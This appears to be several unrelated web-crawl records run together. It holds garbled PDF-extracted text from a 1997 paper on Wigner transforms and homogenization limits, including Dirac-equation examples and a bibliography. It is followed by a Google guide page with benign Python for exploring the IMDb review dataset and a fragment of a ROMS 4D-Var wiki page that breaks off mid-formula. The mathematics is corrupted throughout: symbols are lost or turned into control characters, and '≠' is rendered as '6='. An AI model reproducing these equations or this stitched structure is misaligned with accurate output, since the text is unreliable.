(6.14), we have\n\n∂ 0 \u0002 0 \u0003 1 \b \b \u0001\n(6.16) Wq = Wq , Πq Q0 Πq + Πq W 0 , P 0 − P 0 , W 0 Πq .\n∂t 2i\nP\nOn Ω, we have P 0 = i dl=1 λl Πl . Hence\n\n\b 0 0 X\nd\n\b 0\nW , P Πq = i W , λl Πl Πq\nl=1\n(6.17)\nXd\n\b 0 X\nd\n\b\n=i W , λl Πl Πq + i λl W 0 , Πl Πq .\nl=1 l=1\n\nNotice that Πl Πq = 0 if l 6= q. Hence, plugging (6.17) and its adjoint in\n\n(6.16), we obtain\n\n∂ 0 \u0002 0 \u0003\nWq = Wq , Πq Q0 Πq − Πq {λq , W 0 }Πq\n∂t\n(6.18)\n1X \u0001\nd\n− λl Πq {Πl , W 0 } − {W 0 , Πl } Πq\n2\nl=1\n\nWe claim that the third term in the right-hand side cancels. This is a conse-\nquence of the following lemma:\nL EMMA 6.3 Let Π1 and Π2 be two projector-valued C ∞ -functions and W\nbe a matrix-valued distribution on Ω ⊂ Rm\nx × Rξ . Assume that\nm\n\nΠ1 Π2 = Π2 Π1 = 0 , Πj W = W Πj , j = 1, 2.\n\nThen\n(6.19) Π1 ({Π2 , W } − {W, Π2 }) Π1 = 0 .\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 369\n\nΠ1 {Π2 , W } − {Π1 , Π2 }W = −{Π1 , Π2 W }\n\n−{W, Π2 }Π1 + W {Π2 , Π1 } = {W Π2 , Π1 }.\n\nHence\nΠ1 ({Π2 , W } − {W, Π2 }) Π1\n(6.21) = {Π1 , Π2 }W Π1 − Π1 W {Π2 , Π1 }\n− {Π1 , Π2 W }Π1 + Π1 {W Π2 , Π1 } .\n\nSince Π2 W = W Π2 , the two last terms on the right-hand side of (6.21) give,\nin view of (6.20),\n\n=0\n\nsince Π1 W Π2 = W Π1 Π2 = 0 and similarly Π2 W Π1 = 0. Coming back to\n\n(6.21) and using W Π1 = Π1 W , we have\n\nΠ1 ({Π2 , W } − {W, Π2 }) Π1 = {Π1 , Π2 }Π1 W − W Π1 {Π2 , Π1 } .\n\nBut {Π1 , Π2 } = {Π1 , Π22 } = {Π1 , Π2 }Π2 in view of (6.20). Hence {Π1 , Π2 }\nΠ1 = 0 and similarly Π1 {Π2 , Π1 } = 0. This completes the proof.\nNow we come back to (6.18). For q 6= l, we have\n\b \b \u0001\nΠq Πl , W 0 − W 0 , Πl Πq = 0\n\nbecause of the above lemma. This is also true for q = l, since\n\n\b \b \b \b\nΠq , W 0 − W 0 , Πq = W 0 , Id − Πq − Id − Πq , W 0 .\n\nFinally, (6.18) becomes\n\n∂ 0 \u0002 0 \u0003 \b\n(6.22) Wq = Wq , Πq Q0 Πq − Πq λq , W 0 Πq .\n∂t\nIt remains to observe that\n\b \b\nλq , Wq0 = λq , Πq W 0 Πq\n\b\n= Πq λq , W 0 Πq + Wq0 {λq , Πq } + {λq , Πq } Wq0\n370 P. GÉRARD ET AL.\n\nand using Wq0 = Wq0 Πq = Πq Wq0 with {λq , Πq } Πq = (Id − Πq ) {λq , Πq }\n\nbecause (Πq )2 = Πq , we have Πq {λq , Πq } Πq = 0, hence\n\u0002 \u0003\nWq0 {λq , Πq } = Wq0 , Πq {λq , Πq }\n\u0002 \u0003\n{λq , Πq } Wq0 = {λq , Πq } Πq Wq0 = Wq0 , − {λq , Πq } Πq\n\nso that\n\b \b h i\nλq , Wq0 = Πq λq , W 0 Πq + Wq0 , [Πq , {λq , Πq }]\n\nPlugging this relation in (6.22), we obtain precisely (6.6a).\n\nIt is now easy to complete the proof of Theorem 6.1. On Rt × Ω, we have\nX X\nW0 = Πq W 0 = Wq0 ,\nq q\n\nwhere the last equality comes from (6.14). This implies that, on Rt ×Rm\nx ×Rξ ,\nm\n\nwe have X\n(6.23) W0 ≥ Wq0 1Ω\nq\n\nwhere 1Ω is the indicator function on Ω. Let us compare the total masses\n\nof both sides of (6.23). Observe that, by (6.6a), tr(Wq0 ) = wq0 solves (6.5a),\nhence tr(Wq0 )1Ω is the solution to (6.5), so its total mass equals tr(WI0 Πq )(Ω).\nHence the total mass of the left-hand side equals\nX\ntr(WI0 Πq )(Ω) = tr(WI0 )(Ω) = tr(WI0 )(Rm x × Rξ )\nm\n\n= lim kuεI k2\n\nby assumptions (C3)(iii) and (C2). Because of the conservation of energy, we\n\nhave, for every t,\n\nlim kuεI k2 = lim kuε (t)k2 ≥ (tr W 0 )(Rm\n\nx × Rξ , t)\nm\n\nwhere the last inequality comes from Proposition 1.7(ii). We conclude that\n(6.23) is an equality. Repeating the same argument as in the proof of The-\nRorem 2.1, 0we also conclude that n (t, ·) converges locally uniformly in t to\nε\n\nRm (tr W )(t, x, dξ). Finally, the last statement comes from Proposition 1.7(i)\nξ\nand the fact that ∀z ∈ Cn and ∀t ∈ R, (z · uε ) is ε-oscillatory. Thus Theorem\n6.1 is completely proved.\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 371\n\n7 Examples with Slowly Varying Coefficients\n\n7.1 Schrödinger Equation with a Potential\nA single electron under the influence of an arbitrary (given) potential V (x)\nis described by the Schrödinger equation in Rm ε\nx for the scalar u (t, x) (cf.\n[16, 15]):\nε2\n(7.1) εut − i ∆uε + iV (x)uε = 0 , x ∈ Rm\nx , t ∈ R,\n2\nwith the initial condition (3.1b). In this case the symbol is given by\ni\n(7.2) P (x, ξ) = |ξ|2 + iV (x) ,\n2\nwhich fulfills (C1)(i) if we require V (x) ∈ C ∞ (Rm x ). Note that there is no ε-\ndependence, hence P = P 0 and (C1)(iii) is trivially satisfied. Since the “left\nsymbol” (1.2) coincides with the Weyl operator (P ε )W and V (·) is assumed\nto be real, (C1)(ii) also holds. Clearly, for the scalar symbol, (C3) is fulfilled\nwith λ(x, ξ) = 12 |ξ|2 + V (x) and empty set E.\nThe Wigner function wε (t, x, ξ) = wε [uε (t)] (x, ξ) obeys the so-called\nWigner equation \n∂ ε\n(7.3) w + ξ · ∇x wε + Θε [V ] wε = 0 , x ∈ Rm\nx ξ ∈ Rξ , t > 0 ,\nm\n∂t\nwith the pseudo-differential operator\nZ Z\nε ε 1 V (x + 2ε v) − V (x − 2ε v)\nΘ [V ] w = i\n(7.4) (2π)m Rm Rm ε\nξ0 v\n0\n· w(t, x, ξ 0 )ei(ξ−ξ )·v dv dξ 0 .\n\nThe position density nε = |uε |2 is again given by (3.3).\n\nAssuming (C2) on the initial data, our theory of Chapter 6 applies.\nIn the classical limit ε → 0 we recover the Vlasov equation\n∂ 0\n(7.5) w (t, x, ξ) + ξ · ∇x w0 (t, x, ξ) − ∇x V (x) · ∇ξ w0 (t, x, ξ) = 0\n∂t\nwith the initial datum wI0 , that is, the initial Wigner measure (3.2b) of uεI .\nThe position density nε (t, x) converges (locally) uniformly in t:\nZ\nε→0 0\nn (t, x) −→ n (t, x) =\nε\nw0 (t, x, dξ) .\nRm\nξ\n372 P. GÉRARD ET AL.\n\nR EMARK 7.1 (1) The assumptions on V (x), of course, can be significantly\n\nweakened. Detailed results are given in (and partially in ), where\nthe case of a self-consistent potential is also dealt with.\n\n(2) Again, it is possible to homogenize other quantities like the “current\n\ndensity” (see ).\n\n7.2 The Dirac Equation\n\nWe now consider the semiclassical limit of the Dirac equation. This rela-\ntivistic version of the Schrödinger equation describes very fast electrons in an\nelectromagnetic field. The equation reads\n\nX\n3\n(7.6) (iγ µ ∂µ − M + gγ µ Aµ ) Ψ = 0 .\nµ=0\n\nHere Ψ = Ψ(t, x) ∈ C4 , t ≡ x0 ∈ R, and x = (x1 , x2 , x3 ) ∈ R3 , the\n\n“Spinorfield,” is the unknown playing the role of uε (t, x) in Section 6. ∂µ\nstands for ∂x∂ µ , that is, ∂0 = ∂t∂\n, ∂k = ∂x∂ k , where we adopt the notation that\nthe Greek letter µ denotes 0, 1, 2, 3 and k denotes the three spatial-dimension\nindices 1, 2, 3.\nγ µ ∈ C4×4 , µ = 0, . . . , 3, are the 4 × 4 Dirac matrices, which are closely\nrelated to the 2 × 2 Pauli matrices. Their elements are 0, 1, i, and they satisfy\n∗ ∗\n(7.7) γ 0 = γ 0 , γ k = −γ k , k = 1, 2, 3, (γ 0 γ k )∗ = γ 0 γ k ,\n2 2\n(7.8) γµγν + γν γµ = 0 , µ 6= ν , γ 0 = Id , γ k = −Id .\n\nand using (7.8) the relativistic position density n(t, x) is given by\n\nX\n3\n(7.10) n(t, x) = J0 (t, x) = Ψµ (t, x) · Ψµ (t, x) .\nµ=0\n\nAµ (x) ∈ R, µ = 0, . . . , 3, are the components of the electromagnetic potential;\n\nin particular, A0 is the electric potential and A = (A1 , A2 , A3 )> is the magnetic\npotential vector. Hence the electric field is given by E = ∇x A0 and the\nmagnetic field B = curlx A.\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 373\n\nFinally, we have the physical constants M = m~0 c and g = ~e , where m0\n\nis the electron’s rest mass, c is the velocity of light, ~ is the Planck constant,\nand e is the unit charge.\nThere are two physically meaningful limits: the relativistic limit c → ∞\nand the classical limit ~ → 0. Here we shall be concerned with the classical\nlimit only and therefore identify ~ ≡ ε as our small parameter. In order to\nobtain the form (6.1a) we rewrite (7.6) as\n\n(7.11) εΨεt + P (x, εDx )Ψε = 0 , x ∈ R3x , t ∈ R ,\n\n(7.12) Ψε (t = 0) = ΨεI ∈ L2 (R3x )4\n\nwith the symbol matrix P = P 0\n\n!\nX\n3\n(7.13) P (x, ξ) = i γ 0 γ k (ξk − eAk (x)) + m0 cγ 0 − eA0 (x)Id\nk=1\n\nNotice that here the Weyl symbol (P )W coincides with the left symbol (1.3).\nFrom (7.7) and (7.8) we immediately see that iP is hermitian. We set\n\nX\n3\nQ := γ 0 γ k (ξk − eAk (x)) + m0 cγ 0 .\nk=1\n\nA straightforward computation using (7.7) and (7.8) leads to\n\n!\nX 3\nQQ∗ = Q2 = |ξk − eAk |2 + m20 c2 Id\nk=1\n\nand we remark that if y is an eigenvector of Q corresponding to the eigenvalue\n\nλ, then (γ 0 − mλ0 c )y is an eigenvector corresponding to −λ.\nHence the 4 × 4 matrix −iP (x, ξ) has two eigenvalues of multiplicity 2,\nwhich are given by\nv\nu 3\nuX\n(7.14) λ± (x, ξ) = ±t |ξk − eAk (x)|2 + m20 c2 − eA0 (x) .\nk=1\n\nTherefore Theorem 6.1 applies with the empty set E in assumption (C3) and\nwe have Z Z\nε→0\n(7.15) n (t, x) −→\nε 0\nw+ (t, x, dξ) + 0\nw− (t, x, dξ)\nR3ξ R3ξ\n374 P. GÉRARD ET AL.\n0 and w 0 are given by\nwhere the positive measures w+ −\n\n(7.16) 0 + ∇ λ± · ∇ w 0 − ∇ λ± · ∇ w 0 = 0\n∂t w± ξ x ± x ξ ±\n(7.17) 0 (t = 0) = tr(Π W 0 ) .\nw± ± I\n\nAs usual, WI0 denotes a Wigner measure matrix of ΨεI . The projections are\neasily calculated. We have\n\n1 1 1 1\n(7.18) Π+ = (Id + Q) , Π− = (Id − Q) ,\n2 σ 2 σ\nP\nwith σ = ( 3k=1 |ξk − eAk |2 + m20 c2 )1/2 .\nWe remark that (7.16) is not yet the Liouville equation for transport with\na Lorentz force.\nWith the definition\n\n(7.19) 0\nf± (t, x, ξ) = w± (t, x, eA ± ξ)\n\nand the change of variable to a relativistic velocity\n\nξ\n(7.20) v(ξ) = p ,\n|ξ| + m20 c2\n2\n\n(7.21) ∂t f± + v(ξ) · ∇x f± ∓ e (∇x A0 + v(ξ) ∧ curl A) · ∇ξ f± = 0\n\nR\nand n0 (t, x) = R3 f+ (t, x, dξ) + f− (t, x, dξ). Note that f− represents the\nξ\ncontribution of positrons and hence the term of the Lorentz force changes sign\nin comparison to the electrons, which correspond to f+ .\nThe homogenization limit of (the other components of) the relativistic cur-\nrent density vector can also be easily computed. For its components Jkε , given\nby (7.9), we have\nZ \u0010 \u0011\nε\nJk (t, x) = tr γ 0 γ k W ε [Ψε (t)] (x, ξ) dξ ,\nR3ξ\n\nand from Theorem 6.1(ii) we obtain Jkε → Jk0 with\n\nZ\n(7.22) Jk0 (t, x) = tr (γ 0 γ k W 0 (t, x, dξ)) .\nR3ξ\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 375\n\nHere W 0 (t) is the Wigner measure of the solution Ψε (t) of (7.11)–(7.13). The\nfinal expression for the current (7.22) using (7.20) is given by\nZ\n0\n(7.23) Jk (t, x) = vk (ξ) (f+ (t, x, dξ) + f− (t, x, dξ))\nR3ξ\n\nwhich is consistent with equation (7.21) and the continuity equation ∂µ J µ = 0.\n\nP ROOF OF (7.23):: Observe that\nQγ 0 γ k + γ 0 γ k Q = 2(ξk − Ak ) .\nUsing the expression (7.18) for Π± , we obtain\nγ 0 γ k Π+ = Π− γ 0 γ k + vk I ;\nhence, since W 0 = Π+ W 0 Π+ + Π− W 0 Π− because of (6.14), we have\nγ 0 γ k W 0 = Π− γ 0 γ k W 0 Π+ + vk W 0 Π+ + Π+ γ 0 γ k W 0 Π− − vk W 0 Π− .\nThen take the trace of both sides and use Π+ Π− = 0 to obtain\ntr(γ 0 γ k W 0 ) = vk (w+\n0\n− w−\n0\n).\nBy integrating with respect to ξ and using the change of variables given by\n(7.20), we obtain equation (7.23).\n\n7.3 A Simple Counterexample to Uniform Convergence\n\nAs stated in Theorem 6.1(ii), the convergence of the Wigner matrix is in general\nnot uniform in time, as the following simple counterexample\n\u0010 ε \u0011shows:\nLet us consider the following 2 × 2 system for u = fgε\nε\n\n∂t f ε + ∂x f ε = 0 , ∂t g ε − ∂x g ε = 0 ,\nwith initial data\nfIε (x) = a(x + 1) ei(x+1)/ε , gIε (x) = b(x − 1) ei(x−1)/ε ,\nwhere a, b are two functions in L2 (R). An elementary calculation yields\nf ε (t, x) = a(x + 1 − t) ei(x+1−t)/ε , g ε (t, x) = b(x − 1 + t) ei(x−1+t)/ε ;\nhence\nwε (uε (t))(x, ξ) = e2i(1−t)/ε wε (a(· + 1), b(· − 1))(x, ξ − 1)\nwhich goes to 0 weakly in t, while\nw0 [uε (1)] (x, ξ) = a(x + 1) b̄(x − 1) δ(ξ − 1) .\nThus the convergence is not uniform in t ∈ [0, 1].\n376 P. GÉRARD ET AL.\n\nAppendix: Proof of Proposition 1.8\n\nLet f, g ∈ L2 (Rm ) and let p be as in Proposition 1.8. The proof is based on\nthe following lemma:\n\nL EMMA A.1 Given a ∈ S(Rm × Rm ), we have\n\nε W \u0001\n(A.1) w p (x, εD)f, g , a = hwε (f, g), (a]p)ε i ,\n\nwhere\nZ \u0012 \u0013\n−2m z ζ\n(a]p)ε (x, ξ) = (2π) â(ζ, z) e i(xζ+ξz)\np x +ε ,ξ −ε dz dζ .\n2 2\n(A.2)\n\nP ROOF : It is enough to prove the lemma with f, g ∈ S, so we only have\n\nto make formal calculations. First of all, we observe the following formula,\nwhich follows from a simple change of variable in (1.6):\n\n(A.3) wε (f, g)(x, ξ) = (f | Mx,ξ\n\nε\ng)\n\nwhere \u0012 \u0013m\n1\n(A.4) ε\nMx,ξ g(y) = e−2i(x−y)·ξ/ε g(2x − y) .\nπε\nApplying (A.3) and (1.8), we obtain\n\u0001 \u0001\n\u0001\nwε pW (x, εD)f, g (x, ξ) = pW (x, εD)f | Mx,ξ\nε\ng = wε f, Mx,ξ\nε\ng ,p .\n\nHence, by Fubini’s theorem, we have, for a ∈ S,\n\nε W \u0001\n(A.5) w p (x, εD)f, g , a = hwε (f, G), pi\n\nwhere\nZ\nε\nG(y) = Mx,ξ g(y)ā(x, ξ) dx dξ\nZ\n−m\n= (πε) g(2x − y) e−2i(x−y)ξ/ε ā(x, ξ) dx dξ\nZ\n−2m\n= (2π) g(y − εz)e−iζ(y−εz/2) â(ζ,\n¯ z) dz dζ .\n\nAn elementary calculation then gives\n\nZ\nε −2m ε −i(tζ+τ z) ¯\nMt,τ G(y) = (2π) Mt−εz/2,τ +εζ/2 g(y) e â(ζ, z) dz dζ .\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 377\n\nHence, using (A.3) again,\n\nwε (f, G)(t, τ )\nZ \u0012 \u0013\n−2m z ζ\n= (2π) w (f, g) t − ε , τ + ε\nε\nei(tζ+τ z) â(ζ, z) dz dζ .\n2 2\nComing back to (A.5) and setting t = x + εz/2 and τ = ξ − εζ/2 in the\nintegral, we obtain (A.1) and (A.2).\nWe can now easily prove Proposition 1.8. If f, g vary in a bounded subset\nof L2 and ε ∈ (0, ε0 ], we know that wε (f, g) remains bounded in S 0 ; hence it\nis enough to prove an expansion of (a]p)ε in S. Let us first prove that (a]p)ε is\nbounded in S. Indeed, by integration by parts, we have, for any multi-indices\nα, β ∈ Nm × Nm ,\nβ\n(x, ξ)α ∂x,ξ (a]p)ε (x, ξ)\nZ \u0012 \u0013\nz ζ\n= (2π)−2m ei(xζ+ξz) (i∂ζ,z )α â(ζ, z)∂x,ξ\nβ\np x +ε ,ξ −ε dz dζ .\n2 2\nUsing assumption (1.35) on p and â ∈ S, we easily obtain\n\nβ\n(x, ξ)α ∂x,ξ (a]p)ε (x, ξ) ≤ Cα,β (1 + |x| + |ξ|)M ,\n\nwhich proves that (a]p)ε is bounded in S.\n\nNow, by performing a Taylor expansion of p and using the Fourier inversion\nformula for the first terms, we obtain\nε\n(a]p)ε (x, ξ) = a(x, ξ) p(x, ξ) + (∇ξ a(x, ξ) · ∇x p(x, ξ)\n2i\n− ∇x a(x, ξ).∇ξ p(x, ξ)) + ε2 rε (x, ξ) ,\nwith\nZ 1Z \u0012 \u0013\n−2m 00 z ζ\nrε (x, ξ) = (2π) e i(xζ+ξz)\nâ(ζ, z) p x + tε , ξ − tε\n0 2 2\n(z, ζ)2\n· dz dζ (1 − t) dt .\n2\nIt remains to prove that rε is bounded in S, which can be done along the same\nlines as we did before for (a]p)ε . This completes the proof.\nR EMARK A.2 The proof above shows that assumption (1.35) on p can be\nrelaxed to\nα\n∀α ∈ Nm × Nm : ∂x,ξ p(x, ξ) ≤ Cα (1 + |ξ|)M+ρ|α|\nfor some ρ < 1.\n378 P. GÉRARD ET AL.\n\nAcknowledgement. The last three authors acknowledge financial sup-\n\nport from the HCM Network ERBCHRXCT 930413 and from the DAAD-\nPROCOPE. The second and third author also acknowledge support from DFG\nProject MA 1662/1-1.\n\nBibliography\n Ashcroft, N. W., and Mermin, N. D., Solid State Physics, Saunders, Philadelphia, 1976.\n Bensoussan, A., Lions, J.-L., and Papanicolaou, G., Asymptotic Analysis for Periodic Struc-\ntures, Studies in Mathematics and Its Applications No. 5, North-Holland, Amsterdam–New\nYork, 1978.\n Colin de Verdière, Y., Ergodicité et fonctions propres du Laplacien, Comm. Math. Phys.\n102, 1985, pp. 497–502.\n Francfort, G. A., and Murat, F., Oscillations and energy densities in the wave equation,\nComm. Partial Differential Equations 17, 1992, pp. 1785–1865.\n Gérard, P., Compacité par compensation et régularité 2-microlocale, Séminaire sur\nles Equations aux Dérivées Partielles, 1988–1989, Exp. No. VI, École Polytechnique,\nPalaiseau, 1989.\n Gérard, C., Resonance theory for periodic Schrödinger operators, Bull. Soc. Math. France\n118, 1990, pp. 27–54.\n Gérard, P., Mesures semi-classiques et ondes de Bloch, Séminaire sur les Equations aux\nDérivées Partielles, 1990–1991, Exp. No. XVI, École Polytechnique, Palaiseau, 1991.\n Gérard, P., Microlocal defect measures, Comm. Partial Differential Equations 16, 1991,\npp. 1761–1794.\n Gérard, P., Oscillations and concentration effects in semilinear dispersive wave equations,\nJ. Funct. Anal. 141, 1996, pp. 60–98.\n Gérard, P., On the semiclassical derivation of transport equations for semiconductors, ab-\nstract in: Proceedings of the Conference on Open Problems in Charged Particle Transport,\nParis, June 1996; and paper in preparation.\n Gérard, P., and Leichtnam, E., Ergodic properties of eigenfunctions for the Dirichlet\nproblem, Duke Math. J. 71, 1993, pp. 559–607.\n Helffer, B., Martinez, A., and Robert, D., Ergodicité et limite semi-classique, Comm.\nMath. Phys. 109, 1987, pp. 313–326.\n Hörmander, L., The Analysis of Linear Partial Differential Operators. III. Pseudodifferen-\ntial Operators, Grundlehren der Mathematischen Wissenschaften [Fundamental Principles\nof Mathematical Sciences] No. 274, Springer-Verlag, Berlin, 1985.\n Joly, J.-L., Métivier, G., and Rauch, J., Trilinear compensated compactness and nonlinear\ngeometric optics, Ann. of Math. (2) 142, 1995, pp. 121–169.\n Lions, P. L., and Paul, T., Sur les mesures de Wigner, Rev. Mat. Iberoamericana 9, 1993,\npp. 553–618.\n Markowich, P. A., and Mauser, N. J., The classical limit of a self-consistent quantum-\nVlasov equation in 3-D, Math. Models Methods Appl. Sci. 3, 1993, pp. 109–124.\n Markowich, P. A., and Poupaud, F., The Maxwell equation in a periodic medium: ho-\nmogenization of the energy density, Ann. Scuola Norm. Sup. Pisa Cl. Sci. (4), 1997, to\nappear.\nHOMOGENIZATION LIMITS AND WIGNER TRANSFORMS 379\n\n Markowich, P. A., Mauser, N. J., and Poupaud, F., A Wigner-function approach to\n(semi)classical limits: Electrons in a periodic potential, J. Math. Phys. 35, 1994, pp. 1066–\n1094.\n Markowich, P. A., Ringhofer, C., and Schmeiser, C., Semiconductor Equations, Springer-\nVerlag, Vienna, 1990.\n Reed, M., and Simon, B., Methods of Modern Mathematical Physics. IV. Analysis of\nOperators, 3rd ed., Academic Press, New York–San Francisco–London, 1987.\n Shnirelman, A., Ergodic properties of eigenfunctions, Uspekhi Mat. Nauk. 29, 1974,\npp. 181–182.\n Tartar, L., H-measures, a new approach for studying homogenisation, oscillations and\nconcentration effects in partial differential equations, Proc. Roy. Soc. Edinburgh Sect. A\n115, 1990, pp. 193–230.\n Wigner, E., On the quantum correction for thermodynamic equilibrium, Phys. Rev. 40,\n1932, pp. 742–759.\n Wilcox, C. H., Theory of Bloch waves, J. Analyse Math. 33, 1978, pp. 146–167.\n Zelditch, S., Uniform distribution of eigenfunctions on compact hyperbolic surfaces, Duke\nMath. J. 55, 1987, pp. 919–941.\n\nPATRICK G ÉRARD P ETER A. M ARKOWICH\n\nUniversité de Paris–Sud Fachbereich Mathematik\nMathématiques TU-Berlin\nBâtiment 425 Straße des 17. Juni 136\nF-91405 Orsay D-10623 Berlin\nFRANCE GERMANY\nE-mail: Patrick.Gerard@ E-mail: markowic@\nmath.u-psud.fr math.tu-berlin.de\n\nN ORBERT J. M AUSER F REDERIC P OUPAUD\n\nFachbereich Mathematik Université de Nice\nTU-Berlin Lab. J. A. Dieudonne\nStraße des 17. Juni 136 URA 168 du CNRS—UNSA\nD-10623 Berlin Parc Valrose\nGERMANY F-06108 Nice\nE-mail: mauser@ FRANCE\nmath.tu-berlin.de E-mail: poupaud@\nmath.unice.fr"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.7706433,"math_prob":0.9982713,"size":33050,"snap":"2019-43-2019-47","text_gpt3_token_len":13880,"char_repetition_ratio":0.10449071,"word_repetition_ratio":0.032707702,"special_character_ratio":0.38974282,"punctuation_ratio":0.16819896,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99969375,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-10-20T21:29:25Z\",\"WARC-Record-ID\":\"<urn:uuid:36310eaf-aa80-484d-8fc3-754cfdc1bf96>\",\"Content-Length\":\"466952\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:7ee1bcf3-11ad-439e-97c5-3e934b20c2bb>\",\"WARC-Concurrent-To\":\"<urn:uuid:282690f5-98f2-4fb1-a3af-e999656ab648>\",\"WARC-IP-Address\":\"151.101.250.152\",\"WARC-Target-URI\":\"https://www.scribd.com/document/398346366/G-rard-Et-Al-1997-Communications-on-Pure-and-Applied-Mathematics\",\"WARC-Payload-Digest\":\"sha1:AEXYDX5LHRVMAEQZ63326ET4JRMDF6M7\",\"WARC-Block-Digest\":\"sha1:7YDRJPS7I7AS4CEEVNSPDMU6C4OEA4YX\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-43/CC-MAIN-2019-43_segments_1570986726836.64_warc_CC-MAIN-20191020210506-20191020234006-00269.warc.gz\"}"} |
https://developers.google.com/machine-learning/guides/text-classification/step-2 | [
"# Step 2: Explore Your Data\n\nBuilding and training a model is only one part of the workflow. Understanding the characteristics of your data beforehand will enable you to build a better model. This could simply mean obtaining a higher accuracy. It could also mean requiring less data for training, or fewer computational resources.\n\nFirst up, let’s load the dataset into Python.\n\n```def load_imdb_sentiment_analysis_dataset(data_path, seed=123):\n\"\"\"Loads the IMDb movie reviews sentiment analysis dataset.\n\n# Arguments\ndata_path: string, path to the data directory.\nseed: int, seed for randomizer.\n\n# Returns\nA tuple of training and validation data.\nNumber of training samples: 25000\nNumber of test samples: 25000\nNumber of categories: 2 (0 - negative, 1 - positive)\n\n# References\nMass et al., http://www.aclweb.org/anthology/P11-1015\n\nhttp://ai.stanford.edu/~amaas/data/sentiment/aclImdb_v1.tar.gz\n\"\"\"\nimdb_data_path = os.path.join(data_path, 'aclImdb')\n\ntrain_texts = []\ntrain_labels = []\nfor category in ['pos', 'neg']:\ntrain_path = os.path.join(imdb_data_path, 'train', category)\nfor fname in sorted(os.listdir(train_path)):\nif fname.endswith('.txt'):\nwith open(os.path.join(train_path, fname)) as f:\ntrain_labels.append(0 if category == 'neg' else 1)\n\ntest_texts = []\ntest_labels = []\nfor category in ['pos', 'neg']:\ntest_path = os.path.join(imdb_data_path, 'test', category)\nfor fname in sorted(os.listdir(test_path)):\nif fname.endswith('.txt'):\nwith open(os.path.join(test_path, fname)) as f:\ntest_labels.append(0 if category == 'neg' else 1)\n\n# Shuffle the training data and labels.\nrandom.seed(seed)\nrandom.shuffle(train_texts)\nrandom.seed(seed)\nrandom.shuffle(train_labels)\n\nreturn ((train_texts, np.array(train_labels)),\n(test_texts, np.array(test_labels)))\n```\n\n## Check the Data\n\nAfter loading the data, it’s good practice to run some checks on it: pick a few samples and manually check if they are consistent with your expectations. For example, print a few random samples to see if the sentiment label corresponds to the sentiment of the review. Here is a review we picked at random from the IMDb dataset: “Ten minutes worth of story stretched out into the better part of two hours. When nothing of any significance had happened at the halfway point I should have left.” The expected sentiment (negative) matches the sample’s label.\n\n## Collect Key Metrics\n\nOnce you’ve verified the data, collect the following important metrics that can help characterize your text classification problem:\n\n1. Number of samples: Total number of examples you have in the data.\n\n2. Number of classes: Total number of topics or categories in the data.\n\n3. Number of samples per class: Number of samples per class (topic/category). In a balanced dataset, all classes will have a similar number of samples; in an imbalanced dataset, the number of samples in each class will vary widely.\n\n4. Number of words per sample: Median number of words in one sample.\n\n5. Frequency distribution of words: Distribution showing the frequency (number of occurrences) of each word in the dataset.\n\n6. Distribution of sample length: Distribution showing the number of words per sample in the dataset.\n\nLet’s see what the values for these metrics are for the IMDb reviews dataset (See Figures 3 and 4 for plots of the word-frequency and sample-length distributions).\n\nMetric name Metric value\nNumber of samples 25000\nNumber of classes 2\nNumber of samples per class 12500\nNumber of words per sample 174\n\nTable 1: IMDb reviews dataset metrics\n\n`explore_data.py` contains functions to calculate and analyse these metrics. Here are a couple of examples:\n\n```import numpy as np\nimport matplotlib.pyplot as plt\n\ndef get_num_words_per_sample(sample_texts):\n\"\"\"Returns the median number of words per sample given corpus.\n\n# Arguments\nsample_texts: list, sample texts.\n\n# Returns\nint, median number of words per sample.\n\"\"\"\nnum_words = [len(s.split()) for s in sample_texts]\nreturn np.median(num_words)\n\ndef plot_sample_length_distribution(sample_texts):\n\"\"\"Plots the sample length distribution.\n\n# Arguments\nsamples_texts: list, sample texts.\n\"\"\"\nplt.hist([len(s) for s in sample_texts], 50)\nplt.xlabel('Length of a sample')\nplt.ylabel('Number of samples')\nplt.title('Sample length distribution')\nplt.show()\n```",
null,
"Figure 3: Frequency distribution of words for IMDb",
null,
"Figure 4: Distribution of sample length for IMDb"
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"https://developers.google.com/machine-learning/guides/text-classification/images/FrequencyDistributionOfWordsIMDb.svg",
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"https://developers.google.com/machine-learning/guides/text-classification/images/DistributionOfSampleLengthIMDb.svg",
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https://www.myroms.org/wiki/I4DVAR | [
"# I4DVAR\n\nIncremental 4D Variational Data Assimilation\n1. Introduction\n2. Incremental 4D Variational Data Assimilation\n3. Analysis-Forecast Cycle Observation Impacts\n\nThis memo describes a series of calculations using the new preconditioned version of the ROMS IS4DVAR algorithm based on the Lanczos algorithm. This driver in ROMS is referred to as cgradient_lanczos.h and will become the default and only IS4DVAR option that will be available and maintained for ROMS.\n\nThe conjugate gradient solver for ROMS IS4DVAR is based on the Lanczos method as described by Fisher (1997, 1998). Two versions of preconditioning are available in ROMS IS4DVAR: these are \"spectral\" preconditioning as described by Fisher (1998), and \"Ritz\" preconditioning as described by Tshimanga et al. (2008). The \"spectral\" and \"Ritz\" nomenclature used here follows that adopted by Tshimanga et al. (2008). The actual implementation of both preconditioners is based on the PhD thesis of Tshimanga (2007).\n\nThe model configuration used in all of the following experiments is the Intra-Americas Sea with resolution. Details of the model set-up, forcing, boundary conditions, and IS4DVAR configuration are described in Powell et al. (2008). The multivariate balance operator is not used in any of these calculations, and only the initial conditions are adjusted. Familiarity with IS4DVAR and its implementation in ROMS is assumed.\n\n### The Preconditioners\n\nFollowing Tshimanga et al. (2008) the cost function can be expressed in incremental form as:\n\n $upper J left-parenthesis delta bold x Superscript k Baseline right-parenthesis equals one-half left-parenthesis delta bold x Superscript k Baseline minus bold d Subscript b Superscript k minus 1 Baseline right-parenthesis Superscript upper T Baseline bold upper B Superscript negative 1 Baseline left-parenthesis delta bold x Superscript k Baseline minus bold d Subscript b Superscript k minus 1 Baseline right-parenthesis plus one-half left-parenthesis bold upper G Superscript k minus 1 Baseline delta bold x Superscript k Baseline minus bold d 